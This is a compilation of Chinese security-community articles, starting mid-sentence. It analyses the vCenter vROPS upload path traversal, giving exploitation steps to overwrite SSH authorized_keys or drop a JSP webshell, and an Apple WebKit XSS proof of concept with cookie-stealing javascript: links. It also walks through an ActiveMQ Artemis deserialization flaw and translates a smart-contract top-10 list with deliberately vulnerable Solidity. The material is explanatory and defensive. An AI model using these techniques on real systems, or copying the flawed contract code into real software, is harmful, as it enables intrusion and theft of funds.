端口的服务器向 vCenter Server 发送精心构造的请求，从而在服务器上写入 webshell，最终造成远程任意代码执行。
### 0x02. 影响范围
* `vmware:vcenter_server` 7.0 U1c 之前的 7.0 版本
* `vmware:vcenter_server` 6.7 U3l 之前的 6.7 版本
* `vmware:vcenter_server` 6.5 U3n 之前的 6.5 版本
### 0x03. 漏洞影响
VMware已评估此问题的严重程度为 `严重` 程度，CVSSv3 得分为 `9.8`。
### 0x04. 漏洞分析
vCenter Server 的 vROPS 插件的 API 未经过鉴权，存在一些敏感接口。其中 `uploadova` 接口存在一个上传 OVA
文件的功能：
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();
代码逻辑是将 TAR 文件解压后上传到 `/tmp/unicorn_ova_dir` 目录。注意到如下代码：
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
直接将 TAR 的文件名与 `/tmp/unicorn_ova_dir` 拼接并写入文件。如果文件名内存在 `../` 即可实现目录遍历。
对于 Linux 版本，可以创建一个包含 `../../home/vsphere-ui/.ssh/authorized_keys` 的 TAR
文件并上传后利用 SSH 登陆：
$ ssh 192.168.1.34 -lvsphere-ui
VMware vCenter Server 7.0.1.00100
Type: vCenter Server with an embedded Platform Services Controller
vsphere-ui@bogon [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
针对 Windows 版本，可以在目标服务器上写入 JSP webshell 文件，由于服务是 System 权限，所以可以任意文件写。
### 0x05. 漏洞修复
升级到安全版本：
* vCenter Server 7.0 版本升级到 7.0.U1c
* vCenter Server 6.7版本升级到 6.7.U3l
* vCenter Server 6.5版本升级到 6.5 U3n
#### 临时修复建议
（针对暂时无法升级的服务器）
1. SSH远连到vCSA（或远程桌面连接到Windows VC）
2. 备份以下文件：
3. Linux系统文件路径为：/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)
4. Windows文件路径为：C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)
5. 使用文本编辑器将文件内容修改为：
6. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务
7. 访问https:///ui/vropspluginui/rest/services/checkmobregister，显示404错误
8. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible
### 0x06. 参考链接
* VMware官方安全通告 <https://www.vmware.com/security/advisories/VMSA-2021-0002.html>
* 360Cert漏洞预警通告 <https://mp.weixin.qq.com/s/7x5nBpHIVOl5c1kqfsIhSQ>
* 官方漏洞缓释措施 <https://kb.vmware.com/s/article/82374>
* * * | 社区文章 |
文章作者：Avfisher
0x00 前言
应CVE作者的要求帮忙分析一下这个漏洞，实际上这是一个思路比较有意思的Apple
XSS（CVE-2016-7762）。漏洞作者确实脑洞比较大也善于尝试和发掘，这里必须赞一个！
0x01 分析与利用
官方在2017年1月24日发布的安全公告中如下描述：可利用设备：iPhone 5 and later, iPad 4th generation and
later, iPod touch 6th generation and
later漏洞影响：处理恶意构造的web内容可能会导致XSS攻击漏洞描述：Safari在显示文档时产生此漏洞，且该漏洞已通过修正输入校验被解决了
那么，该漏洞真的如安全公告中所描述的那样被解决了吗？实际上，结果并非如此。
在分析之前，首先先了解一下这到底是个什么漏洞。
POC:
1. 创建一个文档文件，比如：
Word文件（docx）PPT文件（pptx）富文本文件（rtf）
2. 添加一个超链接并插入JS脚本，如：
javascript:alert(document.domain);void(0)javascript:alert(document.cookie);void(0)javascript:alert(location.href);void(0)javascript:x=new
Image();x.src=”Xss Platform”;
3. 上传文件至web服务器然后在Apple设备上使用如下应用打开，如：
SafariQQ BrowserFirefox BrowserGoogle BrowserQQ客户端微信客户端支付宝客户端
4. 点击文档文件中的超链接，上述JS脚本将会被执行从而造成了XSS漏洞
效果图如下：
回顾一下上面的POC，发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。
我们都知道，iOS
APP要想像浏览器一样可以显示web内容，那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示，以及浏览器功能。而其中的WKWebView（或者UIWebView）就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时，iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时，就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。
该漏洞单从利用的角度来说还是比较鸡肋的，因为漏洞的触发必须依赖于用户点击文档中的超链接，笔者可以想到的可能的利用场景如下：攻击者上传了一个包含了恶意JS的超链接（比如：个人博客链接）的Word文件（比如：个人简历）至招聘网站受害者（比如：HR或者猎头）登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”，那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息
0x02 思考
这个XSS漏洞本身其实并没有太多的技术含量或者技巧，但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身，而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”，不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出，且做好校验过滤以及必要的编码，这样才能有效的防范这种间接输入导致的漏洞。
0x03 作者语录
其实这个漏洞的产生早在12年的时候就有类似的案例了，目前Apple修复了该漏洞后我还继续做了些深入的研究，其实不仅仅局限于javascript的协议，当然还可以用上sms://，tel:10086等等这些协议进行巧妙的玩法，具体得你们研究了！最后感谢网络尖刀@Avfisher、@Microsoft
Security Response Center的一些帮助！
0x04 参考
<https://support.apple.com/en-us/HT207422>
<https://developer.apple.com/reference/webkit>
<https://developer.apple.com/reference/webkit/wkwebview>
<https://developer.apple.com/reference/uikit/uiwebview> | 社区文章 |
### 漏洞描述
The getObject method of the javax.jms.ObjectMessage class in the (1) JMS Core
client, (2) Artemis broker, and (3) Artemis REST component in Apache ActiveMQ
Artemis before 1.4.0 might allow remote authenticated users with permission to
send messages to the Artemis broker to deserialize arbitrary objects and
execute arbitrary code by leveraging gadget classes being present on the
Artemis classpath.
### Apache ActiveMQ Artemis
ActiveMQ Artemis 是 ActiveMQ 的子项目，而ActiveMQ 是Apache出品，最流行的，能力强劲的开源消息总线。ActiveMQ
是一个完全支持JMS1.1和J2EE 1.4规范的 JMS
Provider实现，尽管JMS规范出台已经是很久的事情了，但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。
### 触发流程
### 分析过程
根据描述中讲的，三个漏洞点，我们就去看下第一个 JMS Core client
但是里面的源码文件实在是太多了....又不熟悉 ActiveMQ 的原理，再仔细看下漏洞描述
因为是和 getObject 这个函数有关，而函数在 javax.jms.ObjectMessage 中，那么就从这里入手
一个只有 set 和 get 操作的接口，此时就可以想想了
如果跟进 getObject
的实现类，那么很快就能找出漏洞的触发点，但是可能会找不出触发的处理流程，比如到底是如何接受数据之类的，如果说能够站在了解这一架构的情况下，这点是可以忽略的
那么跟进 setObject 呢，仅仅是 setObject 跟下去的话，可能找不出触发点，但是对于整个流程的起始应该能跟出来，比如如何生成 payload
到向目标发包的整个过程
我这里肯定是先跟的 get 后跟的 set，但是一般源码里会有 test 示例，所以如果直接跟 set 的话会很快跟到 test
中，运气好的话，对于整个流程很快有一个大致的概念
在文章里就先从 set 操作跟起
跟进 artemis-jms-client 模块里
一个很简单的序列化操作，并将其结果赋值给类成员 data
继续跟，找当前类的 setObject 的使用者，应该可以找到 test 示例
ObjectMessageTest 名字都这么粗暴，跟进去看看
找到类中的一个测试函数： testClassLoaderIsolation
里面的逻辑看着很简洁
后面的 assert 可以不用管了，一看就是比较接收到的 testObject2 和源数据 testObject 的差别
照着它前面的这个思路来
首先是一些准备工作，然后注意到使用 om 引用 message 做了 setObject 的操作，放入的是一个 SomeObject 的对象，然后调用了
queueProd 成员的 send 函数
接着就是用 queueCons 成员的 receive 操作接受相应的 Message ，最后就是 getObject ，getObject
我们先不看，先跟进 send 函数
同样还是选择 client 的模块
关注点在 mesage 上，继续跟进
这个 doSendx 的函数体过长，只截取关键部分
如上图，如果 jmsMessage（就是之前的 message ）是外来之物的话，那么就对其包装一下
否则直接赋值给 activeMQJmsMessage
现在关注 activeMQJmsMessage
这里是比较关键的一步，跟进去
之前第一步就是跟入的 ActiveMQObjectMessage ，所以这里也同样的选中它
如上图，将 data 中的数据写入到 message 成员中
现在回到 doSendx 函数中，最后的处理逻辑如下
上图里将 activeMQJmsMessage 做了一次 getCoreMessage 处理，并将其处理结果送入到 clientProducer 的
send 函数中（无论是否 if 成立，都会传入 send 函数中）
那么看一下 getCoreMessage 做了啥
很简洁，将之前已经带有 data 数据的 message 返回
那么也就是说，之前已经序列化的 SomeObject 已经带入了 message 中，并且返回给了 coreMessage ，最后还将其 send 出去
_(更具体的操作就不跟进了，因为太底层也搞不动了....比如具体 jms 指定发送信息的目的地、底层包装信息和发包等过程)_
现在就当带有 SomeObject 的 message 已经发出，然后回到测试类 ObjectMessageTest 中
查看 receive 操作
选红框里的类
继续跟
getMessage 函数体也略长，只贴出关键代码
private ActiveMQMessage getMessage(final long timeout, final boolean noWait) throws JMSException {
try {
ClientMessage coreMessage;
if (noWait) {
coreMessage = consumer.receiveImmediate();
}
else {
coreMessage = consumer.receive(timeout);
}
ActiveMQMessage jmsMsg = null;
if (coreMessage != null) {
boolean needSession = ackMode == Session.CLIENT_ACKNOWLEDGE || ackMode == ActiveMQJMSConstants.INDIVIDUAL_ACKNOWLEDGE;
jmsMsg = ActiveMQMessage.createMessage(coreMessage, needSession ? session.getCoreSession() : null);
try {
jmsMsg.doBeforeReceive();
}
catch (IndexOutOfBoundsException ioob) {
[....]
}
[....]
}
return jmsMsg;
}
catch (ActiveMQException e) {
[....]
}
上面的代码中，又使用了 ClientMessage 这个类，并将 receive 的结果返回给它，对比一下之前的 doSendx 里的操作，正是将
ClientMessage 作为信息载体发出到目的地的
jmsMsg 也是用 ClientMessage 作为参数生成的 ActiveMQObjectMessage 类
那么在doBeforeReceive 操作时，jmsMsg 已经是 ActiveMQObjectMessage 的对象，跟进去看看
这里是将 message 中所带的数据写入 data 中
如果没有错误，最后将 jmsMsg 返回
回到 testClassLoaderIsolation 中， r 就是 jmsMsg，里面带有 message 和 data 成员变量
继续跟进 r.getObject
将 data 中的数据反序列化，这里就触发了
因为是 ObjectMessage 的 getObject 函数的问题，其他两处的流程也都差不多
漏洞相关信息：<https://nvd.nist.gov/vuln/detail/CVE-2016-4978>
ActiveMQ 相关信息：<https://www.cnblogs.com/Peter2014/p/8080192.html> | 社区文章 |
# DASP智能合约Top10漏洞
##### 译文声明
本文是翻译文章，文章来源：https://www.dasp.co/
原文地址：<https://www.dasp.co/>
译文仅供参考，具体内容表达以及含义原文为准。
> 该项目是NCC集团的一项举措。这是一个开放的合作项目，致力于发现安全社区内的智能合约漏洞。
>
> GitHub地址 <https://github.com/CryptoServices/dasp>
* * *
在了解智能合约Top10之前，我们简单说一下，OWASP Top10。
OWASP: Open Web Application Security Project
* * *
这个项目会公开十大web应用程序安全风险
2017年版下载地址<http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf>
类似的，我们有了智能合约Top10漏洞。
### 以下是国外原创，翻译过来的，翻译可能不准确，还请理解。
* * *
##
## 1.重入
也被称为或与空竞争，递归调用漏洞，未知调用等。
> 这种漏洞在很多时候被很多不同的人忽略：审阅者倾向于一次一个地审查函数，并且假定保护子例程的调用将安全并按预期运行。————菲尔戴安
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#**%E9%87%8D%E5%85%A5%E6%94%BB%E5%87%BB%E4%BB%8B%E7%BB%8D**)重入攻击介绍
* 重入攻击，可能是最着名的以太坊漏洞，
* 第一次被发现时，每个人都感到惊讶。
* 它在数百万美元的抢劫案中首次亮相，导致了以太坊的分叉。
* 当初始执行完成之前，外部合同调用被允许对调用合同进行新的调用时，就会发生重新进入。
* 对于函数来说，这意味着合同状态可能会在执行过程中因为调用不可信合同或使用具有外部地址的低级函数而发生变化。
* * *
> 损失：估计为350万ETH（当时约为5000万美元）
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#**%E6%94%BB%E5%87%BB%E5%8F%91%E7%8E%B0%E6%97%B6%E9%97%B4%E8%A1%A8**)攻击发现时间表
> 2016/6/5——Christian Reitwiessner发现了一个坚定的反模式
> <https://blog.ethereum.org/2016/06/10/smart-contract-security/>
* * *
> 2016/6/9——更多以太坊攻击：Race-To-Empty是真正的交易（vessenes.com）
> <http://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/>
* * *
> 2016/6/12——在以太坊智能合约’递归调用’错误发现（blog.slock.it）之后，没有DAO资金面临风险。
> <https://blog.slock.it/no-dao-funds-at-risk-following-the-ethereum-smart-> contract-recursive-call-bug-discovery-29f482d348b>
* * *
> 2016/6/17——我认为TheDAO现在正在流失（reddit.com）
>
> <https://www.reddit.com/r/ethereum/comments/4oi2ta/i_think_thedao_is_getting_drained_right_now/>
* * *
> 2016/8/24——DAO的历史和经验教训（blog.sock.it）
> <https://blog.slock.it/the-history-of-the-dao-and-lessons-> learned-d06740f8cfa5>
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#**%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D**)真实世界影响
> DAO
> <https://en.wikipedia.org/wiki/The_DAO_(organization>)
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
* 一个聪明的合约跟踪一些外部地址的平衡，并允许用户通过其公共资金检索withdraw()功能。
* 一个恶意的智能合约使用withdraw()函数检索其全部余额。
* 在更新恶意合约的余额之前，受害者合约执行call.value(amount)() 低级别函数将以太网发送给恶意合约。
* 该恶意合约有一个支付fallback()接受资金的功能，然后回调到受害者合约的withdraw()功能。
* 第二次执行会触发资金转移：请记住，恶意合约的余额尚未从首次提款中更新。结果， 恶意合约第二次成功退出了全部余额。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
以下函数包含易受重入攻击影响的函数。当低级别call()函数向msg.sender地址发送ether时，它变得易受攻击;
如果地址是智能合约，则付款将触发其备用功能以及剩余的交易gas：
function withdraw(uint _amount) {
require(balances[msg.sender] >= _amount);
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> DAO智能合约
>
> <https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code>
>
> 分析DAO的利用
> <http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/>
>
> 简单的DAO代码示例
> <http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao>
>
> 重入代码示例
> <https://github.com/trailofbits/not-so-smart-> contracts/tree/master/reentrancy>
>
> 有人试图利用我们的智能合约中的一个缺陷，盗取它的一切
> <https://blog.citymayor.co/posts/how-someone-tried-to-exploit-a-flaw-in-our-> smart-contract-and-steal-all-of-its-ether/>
* * *
##
## 2.访问控制
> 通过调用initWallet函数，可以将Parity Wallet库合约变为常规多sig钱包并成为它的所有者。
* * *
* 访问控制问题在所有程序中都很常见，而不仅仅是智能合约。
* 事实上，这是OWASP排名前10位的第5位。人们通常通过其公共或外部功能访问合约的功能。
* 尽管不安全的可视性设置会给攻击者直接访问合约的私有价值或逻辑的方式，但访问控制旁路有时更加微妙。
* 这些漏洞可能发生在合约使用已弃用tx.origin的验证调用者时，长时间处理大型授权逻辑require并delegatecall在代理库或代理合约中鲁莽使用。
> 损失：估计为150,000 ETH（当时约3000万美元）
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#**%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D**)真实世界影响
> 奇偶校验错误1
> <http://paritytech.io/the-multi-sig-hack-a-postmortem/>
>
> 奇偶校验错误2
> <http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-> destruct/>
>
> Rubixi
> <https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security/>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
一个聪明的合约指定它初始化它作为合约的地址。这是授予特殊特权的常见模式，例如提取合约能力。
不幸的是，初始化函数可以被任何人调用，即使它已经被调用。允许任何人成为合约者并获得资金。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
在下面的例子中，契约的初始化函数将函数的调用者设置为它的所有者。然而，逻辑与合约的构造函数分离，并且不记录它已经被调用的事实。
function initContract() public {
owner = msg.sender;
}
在Parity multi-sig钱包中，这个初始化函数与钱包本身分离并在“库”合约。用户需要通过调用库的函数来初始化自己的钱包delegateCall。不幸的是，在我们的例子中，函数没有检查钱包是否已经被初始化。更糟糕的是，由于图书馆是一个聪明的合约，任何人都可以自行初始化图书馆并要求销毁。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 修复Parity多信号钱包bug 1
> <https://github.com/paritytech/parity/pull/6103/files>
>
> 奇偶校验安全警报2
> <http://paritytech.io/security-alert-2/>
>
> 在奇偶钱包multi-sig hack上
> <https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-> hack-405a8c12e8f7>
>
> 不受保护的功能
> <https://github.com/trailofbits/not-so-smart-> contracts/tree/master/unprotected_function>
>
> Rubixi的智能合约
>
> <https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code>
* * *
##
## 3.算数问题
这个问题，我们之前的文章有提到，也就是比较经典的溢出。
也被称为整数溢出和整数下溢。
> 溢出情况会导致不正确的结果，特别是如果可能性未被预期，可能会影响程序的可靠性和安全性。———Jules Dourlens
溢出简介
* 整数溢出和下溢不是一类新的漏洞，但它们在智能合约中尤其危险
* 其中无符号整数很普遍，大多数开发人员习惯于简单int类型（通常是有符号整数）
* 如果发生溢出，许多良性代码路径成为盗窃或拒绝服务的载体。
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> DAO
> <http://blockchain.unica.it/projects/ethereum-survey/attacks.html>
>
> BatchOverflow（多个令牌）
> <https://peckshield.com/2018/04/22/batchOverflow/>
>
> ProxyOverflow（多个令牌）
> <https://peckshield.com/2018/04/25/proxyOverflow/>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
* 一个聪明的合约的withdraw()功能，您可以为您的余额仍是手术后积极检索，只要捐赠合约醚。
* 一个攻击者试图收回比他或她的当前余额多。
* 该withdraw()功能检查的结果总是正数，允许攻击者退出超过允许。
* 由此产生的余额下降，并成为比它应该更大的数量级。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
最直接的例子是一个不检查整数下溢的函数，允许您撤销无限量的标记：
function withdraw(uint _amount) {
require(balances[msg.sender] - _amount > 0);
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
第二个例子（在无益的Solidity编码竞赛期间被发现[https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte）](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte%EF%BC%89)
是由于数组的长度由无符号整数表示的事实促成的错误的错误：
function popArrayOfThings() {
require(arrayOfThings.length >= 0);
arrayOfThings.length--;
}
第三个例子是第一个例子的变体，其中两个无符号整数的算术结果是一个无符号整数：
function votes(uint postId, uint upvote, uint downvotes) {
if (upvote - downvote < 0) {
deletePost(postId)
}
}
第四个示例提供了即将弃用的var关键字。由于var将自身改变为包含指定值所需的最小类型，因此它将成为uint8保持值0.如果循环的迭代次数超过255次，它将永远达不到该数字，并且在执行运行时停止出gas：
for (var i = 0; i < somethingLarge; i ++) {
// ...
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> SafeMath防止溢出
> <https://ethereumdev.io/safemath-protect-overflows/>
>
> 整数溢出代码示例
> <https://github.com/trailofbits/not-so-smart-> contracts/tree/master/integer_overflow>
* * *
##
## 4.未检查返回值的低级别调用
也称为或与无声失败发送， 未经检查发送。
> 应尽可能避免使用低级别“呼叫”。如果返回值处理不当，它可能会导致意外的行为。——Remix
其中的密实度的更深层次的特点是低级别的功能call()，callcode()，delegatecall()和send()。他们在计算错误方面的行为与其他Solidity函数完全不同，因为他们不会传播（或冒泡），并且不会导致当前执行的全部回复。相反，他们会返回一个布尔值设置为false，并且代码将继续运行。这可能会让开发人员感到意外，如果未检查到这种低级别调用的返回值，则可能导致失败打开和其他不想要的结果。请记住，发送可能会失败！
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> 以太之王——<https://www.kingoftheether.com/postmortem.html>
> Etherpot——<https://www.dasp.co/>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
* 下面的代码是一个当忘记检查返回值时会出错的例子send()。
* 如果调用用于将ether发送给不接受它们的智能合约（例如，因为它没有应付回退功能）
* 则EVM将用其替换其返回值false。
* 由于在我们的例子中没有检查返回值，因此函数对合约状态的更改不会被恢复，并且etherLeft变量最终会跟踪一个不正确的值：
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 未经检查的外部电话
> <https://github.com/trailofbits/not-so-smart-> contracts/tree/master/unchecked_external_call>
>
> 扫描“未经检查 – 发送”错误的现场以太坊合约
> <http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-> for-bugs/>
* * *
## 5.拒绝服务
包括达到气量上限，意外抛出，意外杀死，访问控制违规
> I accidentally killed it. ————devops199 on the Parity multi-sig wallet
* * *
* 在以太坊的世界中，拒绝服务是致命的：
* 尽管其他类型的应用程序最终可以恢复，但智能合约可以通过其中一种攻击永远脱机。
* 许多方面导致拒绝服务，包括在作为交易接受方时恶意行为
* 人为地增加计算功能所需的gas，滥用访问控制访问智能合约的私人组件
* 利用混淆和疏忽，…这类攻击包括许多不同的变体，并可能在未来几年看到很多发展。
> 损失：估计为514,874 ETH（当时约3亿美元）
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> 政府
>
> <https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/>
>
> 奇偶校验多信号钱包
> <http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-> destruct/>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
* 一个拍卖合约允许它的用户出价不同的资产。
* 为了投标，用户必须bid(uint object)用期望的以太数来调用函数。
* 拍卖合约将把以太保存在第三方保存中，直到对象的所有者接受投标或初始投标人取消。
* 这意味着拍卖合约必须在其余额中保留未解决出价的全部价值。
* 该拍卖合约还包括一个withdraw(uint amount)功能，它允许管理员从合约获取资金。
* 随着函数发送amount到硬编码地址，开发人员决定公开该函数。
* 一个攻击者看到了潜在的攻击和调用功能，指挥所有的合约的资金为其管理员。
* 这破坏了托管承诺并阻止了所有未决出价。
* 虽然管理员可能会将托管的钱退还给合约，但攻击者可以通过简单地撤回资金继续进行攻击。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
在下面的例子中（受以太王的启发[http://blockchain.unica.it/projects/ethereum-survey/attacks.html#kotet）](http://blockchain.unica.it/projects/ethereum-survey/attacks.html#kotet%EF%BC%89)
游戏合约的功能可以让你成为总统，如果你公开贿赂前一个。不幸的是，如果前总统是一个聪明的合约，并导致支付逆转，权力的转移将失败，恶意智能合约将永远保持总统。听起来像是对我的独裁：
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
在第二个例子中，调用者可以决定下一个函数调用将奖励谁。由于for循环中有昂贵的指令，攻击者可能会引入太大的数字来迭代（由于以太坊中的气体阻塞限制），这将有效地阻止函数的功能。
function selectNextWinners(uint256 _largestWinner) {
for(uint256 i = 0; i < largestWinner, i++) {
// heavy code
}
largestWinner = _largestWinner;
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 奇偶Multisig被黑客入侵。再次
> <https://medium.com/chain-cloud-company-blog/parity-multisig-hack-> again-b46771eaa838>
>
> 关于Parity multi-sig钱包漏洞和Cappasity令牌众包的声明
> <https://blog.artoken.io/statement-on-the-parity-multi-sig-wallet-> vulnerability-and-the-cappasity-artoken-crowdsale-b3a3fed2d567>
* * *
##
## 6.错误随机
也被称为没有什么是秘密的
>
> 合约对block.number年龄没有足够的验证，导致400个ETH输给一个未知的玩家，他在等待256个街区之前揭示了可预测的中奖号码。—————阿森尼罗托夫
* * *
* 以太坊的随机性很难找到。
* 虽然Solidity提供的功能和变量可以访问明显难以预测的值
* 但它们通常要么比看起来更公开，要么受到矿工影响。
* 由于这些随机性的来源在一定程度上是可预测的，所以恶意用户通常可以复制它并依靠其不可预知性来攻击该功能。
> 损失：超过400 ETH
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> SmartBillions彩票
>
> <https://www.reddit.com/r/ethereum/comments/74d3dc/smartbillions_lottery_contract_just_got_hacked/>
>
> TheRun
> <https://medium.com/@hrishiolickel/why-smart-contracts-fail-undiscovered-> bugs-and-what-we-can-do-about-them-119aa2843007>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
1. 甲智能合约使用块号作为随机有游戏用的源。
2. 攻击者创建一个恶意合约来检查当前的块号码是否是赢家。如果是这样，它就称为第一个智能合约以获胜; 由于该呼叫将是同一交易的一部分，因此两个合约中的块编号将保持不变。
3. 攻击者只需要调用她的恶意合同，直到获胜。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
在第一个例子中，a private
seed与iteration数字和keccak256散列函数结合使用来确定主叫方是否获胜。Eventhough的seed是private，它必须是通过交易在某个时间点设置，并因此在blockchain可见。
uint256 private seed;
function play() public payable {
require(msg.value >= 1 ether);
iteration++;
uint randomNumber = uint(keccak256(seed + iteration));
if (randomNumber % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
* 在这第二个例子中，block.blockhash正被用来生成一个随机数。
* 如果将该哈希值blockNumber设置为当前值block.number（出于显而易见的原因）并且因此设置为，则该哈希值未知0。
* 在blockNumber过去设置为超过256个块的情况下，它将始终为零。
* 最后，如果它被设置为一个以前的不太旧的区块号码，另一个智能合约可以访问相同的号码并将游戏合约作为同一交易的一部分进行调用。
function play() public payable {
require(msg.value >= 1 ether);
if (block.blockhash(blockNumber) % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 在以太坊智能合约中预测随机数
